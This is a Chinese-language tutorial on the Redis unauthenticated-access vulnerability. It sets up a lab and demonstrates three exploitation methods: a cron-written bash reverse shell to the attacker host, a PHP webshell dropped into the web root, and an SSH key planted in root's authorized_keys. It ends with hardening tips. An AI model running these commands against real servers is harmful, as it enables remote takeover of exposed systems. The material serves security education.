浅析Redis未授权访问漏洞
Redis未授权访问漏洞的成因和危害
Redis数据库基础知识
redis是一个非常快速的、开源的、支持网络、可基于内存亦可持久化的日志型、非关系类型的.Key-Value数据库,并提供多种语言的APl。它提供了Java,C/C++,C#,PHP,JavaScript,PerlObject-C,Python,Ruby,Erlang等客户端,使用很方便。
漏洞介绍
redis末授权访问漏洞是一个由于redis服务版本较低其未设置登录密码导致的漏洞,攻击者可直接利用redis服务器的ip地址和端口完成redis服务器的远程登录,对目标服务器完成后续的控制和利用。以直接在非授权情况下直接访问Redis服务并进行相关操作
漏洞成因
- redis版本为4.x/5.0.5或以前的版本
- redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网
- 没有设置密码认证 (一般为空),可以免密码远程登录redis服务
漏洞危害
- 攻击者可通过redis命令向目标服务器写入任务计划来反弹shell,完成服务器的控制
- 攻击者可通过redis命令向网站目录写入webshell,完成对目标网站服务器的初步控制
- 最严重的情况,如果redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。
漏洞的验证及利用过程演示
实验环境搭建(基于Centos7)
1.下载redis
2.安装编译
tar xzf redis-3.2.0.tar.gz
cd redis-3.2.0./src
make#将servre和cli移入bin目录下
cp -r /usr/local/redis/bin/redis-server /usr/bin/redis-server
cp -r /usr/local/redis/bin/redis-cli /usr/bin/redis-cli
3.修改配置
cp redis.conf /etccp redis.conf /etc vim /etc/redis.conf
vim /etc/redis.conf
#bind 127.0.0.1 #将这一句注释掉
protected-mode no #关闭保护模式
4.配置服务机和黑客机
将配置好的Centos7进行克隆,一个作为服务器(192.168.125.226),一个作为黑客机(192.168.125.13)
- 服务器:启动redis服务
/usr/local/redis/bin/redis-server /etc/redis.conf
- 黑客机:连接服务器
redis-cli -h 192.168.125.226(服务器IP地址)
连接成功后输入"info"看到当前服务机redis信息
漏洞利用方式1:写计划任务反弹shell
原理:在redis数据库中插入一条数据,将计划任务的内容作为value,key值随意,然后通过修改数据库的默认路径为目标主机计划任务的路径,把缓冲的数据保存在文件里,这样就可以在服务器端成功写入一个计划任务进行反弹shell。
1. 黑客机登录服务器后将任务计划写进服务器
config set dir /var/spool/cron
config set dbfilename root
set xxoo"\n\n*/1 * * * * /bin/bash-i >& /dev/tcp/192.168.125.13/1234 0>&1\n\n"
2. 利用瑞士军刀对1234端口进行监听
nc -lvvp 1234
等待一会儿后,出现红框这句话,说明服务器已经发送了任务计划
3.查看目标的计划任务
crontab -l
漏洞利用方式2:写websehll
注意:服务器需提前配置lamp环境
yum install php #安装php
yum install httpd #安装Apache
service httpd start #启动Apache
安装成功后访问如下效果:
1. 黑客机:redis-cli -h 192.168.125.226 连接redis服务器
2. 利用黑客机将webshell写进服务器
config set dir /var/www/html
config set dbfilename shell.php
set webshell "一句话木马"
注意:
a. 最后一定要save
b. 一句话木马中"cmd"可以换任意值
3. 访问写入的后门,可以看到访问成功
4.使用wellshell软件登录
成功连入服务器!
漏洞利用方式3:写SSH公钥实现SSH登录
1.保证黑客机和目标机都开启SSH服务 (没有安装服务则用apt命令安装): systemctl restart sshd
2.在黑客机创建SSH公钥可写目录:
mkdir /root/.ssh
查看需要用"ls -al",因为".ssh"是一个隐藏文件
3.在黑客机生成SSH公钥
ssh-keygen -t rsa
查看,发现一个为公钥一个为私钥
4.将公钥写入1.txt文件
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>1.txt
前后用\n换行,避免和redis里其他存数据混合,不用会一直失败)(echo -e "\n\n";cat id rsa.pub;echo -e "\n\n")>1.txt
cat 1.txt | redis-cli -h 192.168.125.226 -x set crack
将1.txt的文本内容带入登录目标机redis服务器的过程中,后续可以直接在目标机上设置目标文件并写入
5. 连接redis,设置目录
config set dir /root/.ssh
config set dbfilename authorized_keys
save
这里设置目录时,可能存在(error) ERR Changing directory: No such file or directory
这是因为root从来没有登录过,在服务器执行ssh localhost 即可
6.连接服务器
ssh -i id_rsa root@192.168.125.226(服务器地址)
redis安全加固思路
- 将redis版本升级到4.x/5.0.5或以上
- 将redis的默认端口号6379修改为其他端口号并避免将redis端口暴露在公网.
- 设置密码认证,防止对方免密码远程登录redis服务
- 利用防火墙对访问redis服务器的流量进行检测拦截